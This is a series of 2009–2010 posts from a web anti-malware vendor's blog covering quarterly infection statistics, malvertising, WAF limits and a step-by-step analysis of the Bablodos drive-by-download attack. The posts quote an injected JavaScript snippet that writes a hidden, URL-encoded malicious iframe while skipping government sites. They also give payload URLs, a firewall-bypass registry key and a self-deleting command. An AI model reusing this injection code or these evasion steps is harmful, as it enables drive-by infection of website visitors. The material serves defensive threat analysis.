Monday, May 10, 2010

Q1'10 web-based malware data and trends

Each quarter we pull together data for web-based malware attacks from across the web. Our proprietary malware analysis platform allows us to monitor millions of websites and draw results from a wealth of data which we summarize in this blog. What we continue to see is that the web malware threat continues to grow significantly. Hackers are becoming increasingly sophisticated and bold in their attacks, which means that legitimate websites are more threatened than ever. Putting web site security best practices in place such as malware monitoring and containment is becoming an absolute must if businesses do not want to expose themselves and their customers to these attacks. A particularly interesting observation has been an increase in 'malvertising' attacks in which hackers plant malicious ads on high-profile ad networks and websites. We'll dig deeper into that but first, let's take a look at some of our results:

The Q1 2010 Data

In Q1 2010, we estimate that over 720,000 web sites were infected. While this number is significantly higher than our previous estimate of 560,000 infected web sites during Q4 2009, we also improved our methodology based on new telemetry from scanning a larger number of sites on the Internet and that accounts for infected sites that were previously not included.

This number does not only include small to medium sites getting infected, but also larger, high-profile websites (including Fortune 500 companies). Larger sites are desirable targets because of their high volume of traffic. It's much more convenient for an attacker to compromise an existing site than to try and build web traffic to a site they set up from scratch.

The challenge for websites is that there are many different ways for them to get infected. For example, a site that uses a javascript widget that is hosted externally could be at risk for getting compromised with web-based malware, as discussed in a Google report. Or publishers, blogs and other content providers that use third-party ad networks are at risk of having malvertisements introduced to their users on their site. Many sites (large and small) also rely on third-parties to provide packaged software that powers applications on their website. Examples include content management systems, blogging software, web server software, etc. It is often difficult for websites to constantly keep the software running their site up-to-date and patched to the latest version. Keeping server side web applications up-to-date is just as or even more challenging than keeping client side software up-to-date and patched. Even patched applications have vulnerabilities, which emphasizes the need for malware monitoring to mitigate risk due to both known and unknown vulnerabilities in web applications. In fact, in April there was a mass attack on Wordpress where attackers exploited a vulnerability to infect thousands of websites with malware.

As part of our quarterly malware update, we performed a study of a large pool of websites where we identified the risk factors on those sites that may contribute to malware infections. The results were surprising. We found that 97% of Fortune 500 web sites are at a high risk of getting infected with malware due to external partners (such as javascript widget providers, ad networks, and/or packaged software providers). In fact, Fortune 500 web sites have such a high risk because 69% of them use external Javascript to render portions of their sites and 64% of them are running outdated web applications. (We will be publishing a more in-depth study of malware-specific vulnerabilities on websites in the future.)

On a side note: We launched a new service in Q1 called the Dasient Malware Risk Assessment which allows us to run risk profiles on our customers, giving them information on where they are most exposed to web malware. We obtained the above-mentioned results by running our Malware Risk Assessment on a significant number of industry-specific web sites. If any of you are interested in running such an assessment on your web site, please fill in the form and we'll get you started.

Getting back to our statistics: reinfection rates decreased slightly from 42.4% to 40.5%; although, in general, the probability that a web site will get re-infected is still very high. And, of course, higher re-infection rates mean the site has a higher likelihood of suffering from loss of traffic, a decline in revenue, and damage to brand equity.


The average number of processes that infected web sites start on compromised machines is 3.03 (up from 2.8). Although a little higher than last quarter this is still indicative to us that attackers are getting smarter about the way they structure their attacks, opting for a smaller fingerprint on an infected machine, as historically attackers have started up to a dozen or more new processes on machines they compromise.
23.8% of new processes started due to drive-by-downloads had one character filenames such as “a.exe” or “f.exe”.



Attackers prefer to use “.com” domains to host malware. “.com” was the most popular followed by “.cn”. The domain “dnparking.com” was an attacker site used to infect a relatively large number of sites early in the quarter.



ASP, HTML, and PHP pages were the most infected in that order. The combined number of ASP and PHP pages infected shows an increase in dynamic content being infected this quarter which once again emphasizes the growing complexity in web sites and web applications.





Uptick in Anti-Malvertising attacks in Q1

One of the major trends observed is the spike in malvertising attacks since the beginning of 2010.
While content and feature-rich advertisements have been used on the web for some time, attackers are investing more in using them as a channel to distribute drive-by malware downloads.

Viruses and other malware were found to be lurking in ads on high-profile sites like The New York Times, Drudge Report.com, TechCrunch and WhitePages.com as well as by big ad delivery platforms such as Yahoo, Fox and Google.

We thought it may be useful to describe how malvertising attacks work, in general. In a typical attack, the hacker signs up to place an ad on a victim ad network (often using a stolen credit card), or compromises the credentials of an existing advertiser on an ad network. If the attacker signs up for a new account with an ad network, the attacker often places a legitimate-looking ad first, and switches it for a malicious ad once the attacker "gains trust" with the ad network. As some ad networks have stricter policies and/or vetting processes around the posting of ads for relatively new advertisers, some attackers simply compromise the login credentials of already existing, legitimate advertisers.

Given that so much of the web is monetized via advertising streams, it is a wonder that malvertising attacks aren't worse than they are, and the malvertising attacks over the past few weeks could be a harbinger of the growing threat to online advertising commerce.

Now that we have discussed high-level trends from the update, let's take a closer look at what the malware does once it is downloaded to a user's PC.

What is the Malware doing?

In many cases, the malware was trying to join a botnet. Botnets are networks of PCs, which have been taken over by malware programs. What the botnet will end up doing depends on what the botnet 'master' wants it to do but usually it will hook processes to capture keystrokes, send email spam etc. Some of the more common mechanisms to conduct drive-by-downloads included taking advantage of Adobe PDF exploits, and encouraging users to click on socially engineered fake AV windows to initiate dangerous downloads. In particular the 'Zeus' botnet has become very widely spread. Netwitness, based in Herndon, VA, released a report highlighting the kind of havoc the malware can wreak. It documents a Zeus botnet that controlled nearly 75,000 computer in more than 2,400 organizations, including some large and reputable ones such as Merck, Juniper Networks and the Hollywood Studio Paramount Pictures. Over four weeks, the botnet was used to steal more than 68,000 log-in credentials, including thousands of Facebook log-ins and Yahoo email log-ins.

Another interesting observation from our research is how attackers interact with government web sites.

Cybercriminals not interested in CyberWar (yet?)


Attackers use automated scripts to query search engines to get lists of vulnerable sites, and then have their scripts automatically infect sites. Their scripts are typically not very discriminating about which sites they attack. Government-run web sites, for instance, are also likely to be attacked by these automated scripts. For example, last month a part of the Environmental Protection Agency's (EPA) web site was infected, and in May the US Treasury had three of its web sites hacked.

It seems, though, that the attackers conducting such attacks are purely in it for the money. One might imagine that inadvertently attacking certain government web sites might provoke a serious (even military) reaction. Hence, while the attackers want to distribute their malware for fun and profit, they want to stay away from starting an all-out cyberwar. Why do we say that? In some of the attacks that we track, we have seen JavaScript code such as the following, which attackers inject:

if (document.location.href.indexOf("gov") >= 0) {
}
else {
  document.write
("<div style="'display:none'">");
  
document.write(unescape('%3Ciframe%20src%3Dhttp%3A//%6B%6F%74%73%2E%39%39%36%36%2E%6F%72%67:%39%37/%78%6F/%64%6B.html%20width=100%20height=0%3E%3C/iframe%3E'));
  
document.write("</div>");
}


Basically, the code above says that if the web site attacked is a government web site, then DO NOT serve a malware drive-by-download. Otherwise, it happily generates an invisible frame on the page that pulls in malicious content onto the page which initiates a drive-by-download. What is interesting here is that while an attacker's script may automatically inject the code above into any website, the code is careful not to serve malware to visitors, including government employees, as doing so could be interpreted as an act of cyber-war. What is also interesting that the attackers could decide to launch a cyber-war at any time.

Summary

Based on our research, it is evident that the malware epidemic is growing rapidly. With cybercrime techniques getting more sophisticated every day, it is critical to educate businesses on how they can put safe security practices in place for their websites to protect their customers and their revenues. In order to make sure that their businesses are not exposed, web sites can mitigate their risk by monitoring their websites for malware regularly.

If you're a business owner and you'd like to learn more about how Dasient WAM can help protect your websites, head here. If you're a web hosting provider and you'd like to learn about partnership opportunities with Dasient, check out this page. And no matter who you are, please be sure to check out our Twitter feed for all the latest in web-based malware and general security news.

Keep your sites safe!
Your Dasient Team

Wednesday, March 3, 2010

Anatomy of the Bablodos drive-by-download attack

Hackers have come to rely less on distributing malware via email
attachments, and have opted for infecting legitimate websites with
drive-by-downloads as the de facto way of more aggresssive
distribution. Just by loading an infected web page in a browser, a
virus can be downloaded to a computer without knowledge of the user.
The implications are often disastrous and range from reputation/brand
and revenue loss to data theft.

One particular attack stood out due to the number of exploits it
used and the number of processes it started -- it was quite "blatant".
While hackers often take steps to evade detection, Bablodos didn't
seem to bother. Based on Dasient's last malware report for 2009
the average number of extra processes initiated by hackers in Q4 '09
was just 2.8 -- enough for a downloader and perhaps one or
two pieces of malware. (As a comparison, in previous years,
a drive-by download would often initiate 10 or more
extra processes, ostensibly in an attempt to maximize the return from
each infected endpoint.) This shows us that attackers are getting
smarter about the way they structure their attacks, opting for a
smaller fingerprint on an infected machine in exchange for a greater
likelihood of evading detection.

Enter bablodos.com. This brazen attack took advantage of a large
number of different vulnerabilities on the user's computer, modified
personal firewall settings and then deleted itself off the disk after 5
seconds of starting as many as 8 processes. Obviously it wasn't trying to hide
anything and the goal was to cause as much damage as possible in a short amount of time.
Clearly, some of today's hackers aren't afraid of being detected.

So how exactly does this attack work?

STEP 1

Bablodos .com infects vulnerable sites by injecting obfuscated javascript code on their web pages.

Here is the first few bytes of the malicious JS snippet: "document.write(String.fromCharCode(60,116,97,98,108,101,32,98,111,114,100..."

This JS code sources in

bablodos .com/x/jar.jar
bablodos .com/counter/swf.swf
bablodos .com/counter/exe.php
bablodos .com/counter/pdf.php

to look for vulnerabilities in Flash and Pdf plugins and Java Runtime Environment.

STEP 2

Users visiting these victim sites get infected in the following way:

* An executable named file.exe is downloaded into the \Documents and Settings\%USER% folder, and run without the user's consent. It is classified as a downloader by many antivirus engines according to this Virustotal analysis.

* This executable bypasses the Windows Firewall by modifying the following registry key:
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List

* Then it downloads additional malware and starts new processes as many as 8 into the temp folder that have file names comprised of 10 random character such as
SUHyAwDJUT.exe, AJvvOxjPBD.exe, YylDMSreSn.exe etc.

* To avoid detection, the downloaded malware is deleted from disk after starting execution with the command:
C:\WINDOWS\system32\cmd.exe /c timeout 5 && del %TEMP%\[10chars].exe

Since January of this year at least 50 sites have been hit by bablodos.com, some of which are:

123-real-estate-riverside .com
3rbytv .com
addisdimts .com
allmyanmar .com
ar-movies .blogspot.com
bellsnwhistles .com
cfusion .com
deskbeauty .com
dogtraininghealthcare .com
eetcorp .com
el34world .com
ericbae .com
faithfulnews .com
funinternet .net
games420 .com
ganoi .us
gdp .com
goldcoastsewing .com
goldmedaldeals .com
gospeladvocate .com
hamiltonknife .com
healthyhuman .net
hipforums .com
homeofourfathers .com
icarly-show .com
jerryswallpaper .com
jpickup .com
lyainc .com
maxeys .com
medicalartsschool .com
mideastreview .com
midorimiller .com
milwaukeenights .com
mjguide .com
mobilefull .com
npocu .org
patriotsbankmo .com
phuket-to-krabi .com
plentyofpuppies .com
pocketkittys .com
powertoolbattery .co.uk
scvan .org
shovelhead .us
tattoovirtual .com
thailandmagic .com
thailandsouthern .com
themes420 .com
travelbookingonline .com
tvgrounds .com
usa-battery .com
wallpapers2k .com

Had these sites been monitored by Dasient WAM they would have been alerted in real-time that the malware was on their site and they would have been able to contain the infection and prevent it from spreading.

Tuesday, January 26, 2010

Q4'09 web-based malware data and trends

Ed. Note: The data in this post is drawn primarily from Dasient's proprietary malware analysis platform, which gathers data on web-based malware attacks from across the web, and in the last year has been used to help tens of thousands of site owners address their web-based malware issues.

As we reported last quarter, the way malware is being distributed is undergoing a fundamental shift, with more attackers focusing on "drive-by downloads" from legitimate sites that have been compromised, or from sites designed specifically for malicious purposes. In nearly all the variations on this kind of attack, no user action is required for the infection to occur, beyond loading the site in a browser -- and there are very few signs that malicious code has been downloaded.

There is perhaps no better illustration of this shift than the way malware was employed in the recent attack on Google and several other companies. One of the components of the attack involved spear-phishing one or more Google employees, with an aim of driving them to a site that then exploited a zero-day vulnerability in Internet Explorer 6 to download malware to those employees' computers. In previous years, such an attack would have solely made use of a malicious email attachment to compromise the target's computer; now, attackers are clearly opting to employ multiple vectors, including web-based methods.

Looking at the data for Q4'09

Based on the telemetry data we've gathered from the web, we estimate that more than 560,000 sites and approximately 5.5 million pages were infected in Q4'09, compared with more than 640,000 sites and 5.8 million pages in Q3'09. By the end of the year, we had identified more than 100,000 web-based malware infections.

Also in Q4'09, the infections on newly compromised sites of 10 pages or more spread to an average of 24% of those sites' pages, up from 19 percent the previous quarter. This increase helps account for the smaller drop in the number of infected pages for the quarter, relative to the drop in infected sites. In other words, we saw a more significant drop in the number of infected sites than we did in the number of infected pages because each infection tended to spread to a larger number of pages on each site.

Finally, we saw a reinfection rate of 42 percent for the quarter (compared with 39 percent in Q3'09), meaning that more than four of every 10 sites infected in the quarter were reinfected within a space of three months. And, of course, with each infection the site is likely to suffer a loss of traffic, a decline in revenue, and damage to brand equity.

While we clearly saw a slight dip in some of the key metrics in the quarter (and, more specifically, as we neared the end of the year), the macro trend still points to a steady and significant increase in this kind of activity. To cite just one indicator: The number of infected pages for the quarter, 5.5 million, is a substantial increase from data published by Microsoft in April 2009, which pegged the number of infected pages per quarter at a little more than 3 million.

Attackers getting smarter

Like most other kinds of attackers, purveyors of web-based malware have long since adopted basic social engineering techniques to maximize their chances of remaining undetected as they infect endpoints. We saw plenty of evidence confirming that trend in Q4'09: For example, the most common domains being sourced in the download of a malicious file included innocuous-looking names like "google-query.com," "netlinkenterprises.com," and "starktourism.com." Similarly, the file names most often used in drive-by downloads included things like "setup.exe," "update.exe" (which was used in the Google attack), and "install_flash_player.exe."

But we also saw some evidence that attackers are responding directly to industry efforts to curb the spread of web-based malware. One interesting example can be found in the average number of extra processes started when a drive-by download is initiated. In previous years, a drive-by download would often initiate 10 or more extra processes, ostensibly in an attempt to maximize the return from each infected endpoint. In response, the search providers and anti-virus vendors who scan the web for infected sites began using the number of extra processes initiated as a signal that the webpage might be malicious. But in Q4'09, the average number of extra processes initiated was just 2.8 -- enough for a downloader and perhaps one or two pieces of malware. Clearly, attackers are getting smarter about the way they structure their attacks, opting for a smaller fingerprint on an infected machine in exchange for a greater likelihood of evading detection.

Structural vulnerabilities still being exploited

It stands to reason that the increasing complexity in and interoperability between websites and web applications has played a significant role in the rise of web-based malware. After all, the more dynamic and sophisticated your pages or applications are, the more vulnerabilities there will be for attackers to exploit. The data for Q4'09 certainly bears that out: .php, .asp, and .aspx (all file types associated with dynamic web content) accounted for 55 percent of all compromised URLs in the quarter.



Of course, a closer look at the data reveals that file types associated with static pages, such as .html, .htm, and .shtml, accounted for 39.6 percent of the compromised URLs for the quarter. This suggests that attackers are still focused in no small part on exploiting structural vulnerabilities in the web to compromise legitimate sites -- vulnerabilities like sourced-in third-party content or applications; user-added content like comments, links, photos, and other files; and syndicated ad networks, among other things. There are no simple solutions for closing these kinds of vulnerabilities, something that all site owners who want to avoid being infected -- and potentially infecting their users and being blacklisted -- should bear in mind when considering the protections they employ.

Keeping your site safe

If you're a business owner and you'd like to learn more about how Dasient WAM can help protect your websites, head here. If you're a web hosting provider and you'd like to learn about partnership opportunities with Dasient, check out this page. And no matter who you are, please be sure to check out our Twitter feed at http://twitter.com/dasient for all the latest in web-based malware and general security news.

Tuesday, December 1, 2009

Dasient WAM monitoring and diagnostic services now OOB

Some of you may have already seen our announcement earlier this morning, but for those of you who haven't: The Dasient Web Anti-Malware (WAM) monitoring and diagnostic services have graduated out of beta, and are now generally available. We've had an exciting few months since first launching these services, continuing to build out the scalability, reliability, and speed of our malware detection platform and proving its readiness with tens of thousands of beta customers. We're thrilled to be able to make these services generally available, so we can help even more businesses and site owners protect themselves from web-based malware.

With the graduation out of beta, we'll be introducing some new features. They include richer reporting tools that will provide customers with data on the number of URLs scanned each week, lists of all URLs scanned and attacks being checked for, and the latest web-based malware attacks Dasient has detected. They also include new account management features that will enable customers using Dasient WAM to protect multiple domains to manage all those domains using a single login.

Other new updates include significant upgrades to the overall speed and reliability of the Dasient WAM scanning technology, as well as the ability to scan customer sites for links to dangerous downloads that might be placed in user-generated content or in syndicated ads on those sites.

We've also launched a redesign of Dasient.com that features some new resources for current and potential customers. Head here to learn a little more about web-based malware and the threat it poses to businesses and site owners of all types and sizes. Or check out some of our customer testimonials, to hear firsthand how Dasient WAM helped them. We also have a new whitepaper on drive-by downloads and other web-based malware threats.

To learn more about how Dasient WAM can help you protect yourself from the threat of web-based malware -- and the attendant loss of traffic, decline in revenue, and damage to brand equity -- check out our product page.

Wednesday, November 25, 2009

Another step forward in the fight against malvertising

Last week, Google announced that it will now be taking a zero-tolerance approach to dealing with advertisers that place ads that violate its terms of service, including malicious ads that can infect users with malware. Google had previously been removing these ads from its network as it identified them; it will now be permanently disabling the AdWords accounts of the advertisers that put those ads into its network. This new policy shift should force individual advertisers and affiliate to think twice before placing malicious ads with Google, but hopefully it will also start to make an impact in addressing the broader malvertising threat.

To provide some context, the quality and safety of ads has been a concern for users, publishers, advertisers, and technology companies since advertising first appeared on the web more than a dozen years ago. Some of the first ads embedded in webpages took the form of banners -- some of which were criticized for the bandwidth that they required when most of the world was still using dial-up modems to access the Internet, and for their "loudness."

As companies such as Sun and Netscape worked together to bring more interactive forms of content and ads to browsers, sandboxes like the Java Virtual Machine were introduced to protect users from potentially malicious interactive content. In parallel to the development of Java, other forms of interactivity were brought to market, including JavaScript, ActiveX, Flash, and Shockwave, and different levels of security and interactivity distinguish these technologies. Some of them leverage browser "plugins" that ran code natively and in an unrestricted fashion on the user's machine (such as ActiveX), while others employ sandboxes in an attempt to protect users (though not always effectively). Often, functionality wins out over security when developers are faced with the pressing market needs of advertisers and content publishers, leading to much more frequent uses of technologies that are more interactive but less safe than technologies that are less interactive but more safe.

As a result, we today have a world where attackers interested in harming users with malicious ads can take advantage a large variety of vulnerabilities in browsers, plugins, and operating systems to do so. Here at Dasient, we've seen a significant increase in the amount of malvertising activity in the last year, and have worked with a number of companies and site owners who have been impacted by it. Some of these sites' users were infected by malicious ads; others ended up on the unsafe-site blacklists maintained by search engines, browsers, and anti-virus companies. Either way, the sites ended up losing traffic, revenue, and brand equity because a malicious ad popped up on their site via a syndicated ad network.

We're optimistic that Google's new policy shift will inspire similar moves from other online ad syndicators, and that in turn the advertisers and affiliates who traffic in malicious ads will have fewer channels to distribute their wares. Some commentators are already arguing that it won't; that not everyone can afford to take Google's principled stand. We hope that's not the case, but either way, it'll likely take a long time to stamp this threat out altogether. In the meantime, businesses and site owners interested in protecting their users and their reputation on the web can take advantage of tools like Daisent Web Anti-Malware (WAM), which regularly monitors your site and provides you with immediate alerts and detailed diagnostic information as soon as an infection or a malicious ad is detected.

To learn more about Dasient WAM, check out this page. And for all the latest news on web-based malware and the security space in general, be sure to follow us on Twitter at http://twitter.com/dasient.

Monday, November 16, 2009

Structural vulnerabilities, and the importance of being prepared

Interesting story in the media late last week, with several articles detailing a newly discovered vulnerability created by the origin policies for third-party Flash objects embedded on sites. This vulnerability is especially serious, as it's structural in nature -- meaning that it stems from the way this third-party content is actually embedded in sites, rather than from a software hole that can be patched. There is no simple solution for closing this vulnerability.

As the web grows increasingly interdependent -- with web companies and site owners sourcing in more and more content and applications from each other and from users -- these structural vulnerabilities will only continue to grow in variety and number. At present, they include sourcing in third-party content or applications; enabling users to add content like comments, links, photos, and other files; and employing syndicated ad networks, among other things. These vulnerabilities are already relatively widespread: For example, 66 percent of the top 500 sites in the US run ads, 47 percent of the top 100 accept user-generated content, and 75 percent of the top 100 newspapers in the US enable user comments.

These vulnerabilities open sites up to a number of potential exploits, not least of which is being turned into a delivery vehicle for malware, wherein a site inadvertently infects some or all of its visitors with malicious software. This can in turn trigger losses in traffic, reputation, and revenue, as visitors discover the infections and as the site is evaluated by the search engines, browsers, and AV providers that blacklist dangerous sites. And since these vulnerabilities are structural, there's often no way to "close" them. In other words, there's nothing site owners can do to guarantee that they won't be exploited, other than abandon things like third-party content and ad networks altogether (which, for most sites, isn't much of an option).

So what can site owners who rely on elements of the interdependent web do to reduce the likelihood that their site will be compromised? At Dasient, we believe that a fast, scalable scanning and diagnostic service is an increasingly crucial part of any defense strategy. In the last few months alone, we've seen a significant increase in the number of sites that are being compromised and turned into delivery vehicles for malware. Now more than ever, site owners need to be able to quickly locate and address any bad code that finds its way onto their sites.

To learn more about how Dasient's Web Anti-Malware service might be able to help you, check out this page.

Thursday, November 5, 2009

For malware attacks, WAFs need to be complemented by WAM

Dmitry Evteev of Positive Technologies recently posted about a method to bypass web application firewalls (like mod-security) to mount SQL injection attacks.

While web application firewalls (or WAFs) play an important role in a defense-in-depth strategy, the post highlights why businesses cannot rely solely on preventative technologies like WAFs to secure their websites from attacks, particularly web-based malware attacks.

For one, as the article and the comments demonstrate, WAFs require configuration and ongoing maintenance of software and rulesets to prevent the latest attacks. If the WAF is running out-of-date software or rulesets, or if the administrator has improperly configured the device, it will not be able to prevent attacks like the one detailed in Dmitry's post.

Second, there will always be new types of attacks and new vulnerabilities that attackers can exploit to inject malicious code onto websites. WAFs can enforce security policies based on signatures of known attacks, but they cannot necessarily prevent "zero-day" attacks that look like normal traffic.

Finally, not all malware attacks exploit web application vulnerabilities to place malware on websites. For example, the Gumblar attack from earlier this year relied on compromised FTP credentials to infect sites. Recent malvertising attacks have taken advantage of syndicated ad networks to display malicious ads on legitimate publisher sites. A recent study by Google discovered that "the [malicious] code was often contained in those parts of the website not designed or controlled by the website owner, such as banner adverts and widgets... Widgets are small programs that may, for example, display a calendar on a webpage or a web traffic counter. These are often downloaded from third-party sites."

Security professional tend to invest heavily in "preventative" solutions, but underinvest in technologies to detect and remediate problems when they (inevitably) occur. WAFs can help "raise the bar," making it more difficult for attackers to infect a legitimate website. However, given that attackers can circumvent preventative technologies like WAFs, businesses cannot rely on WAFs alone to secure themselves from malware attacks. To provide true defense-in-depth, WAFs must be complemented by services like Dasient Web Anti-Malware (WAM) that automatically monitor websites for infections and remediate them when they occur.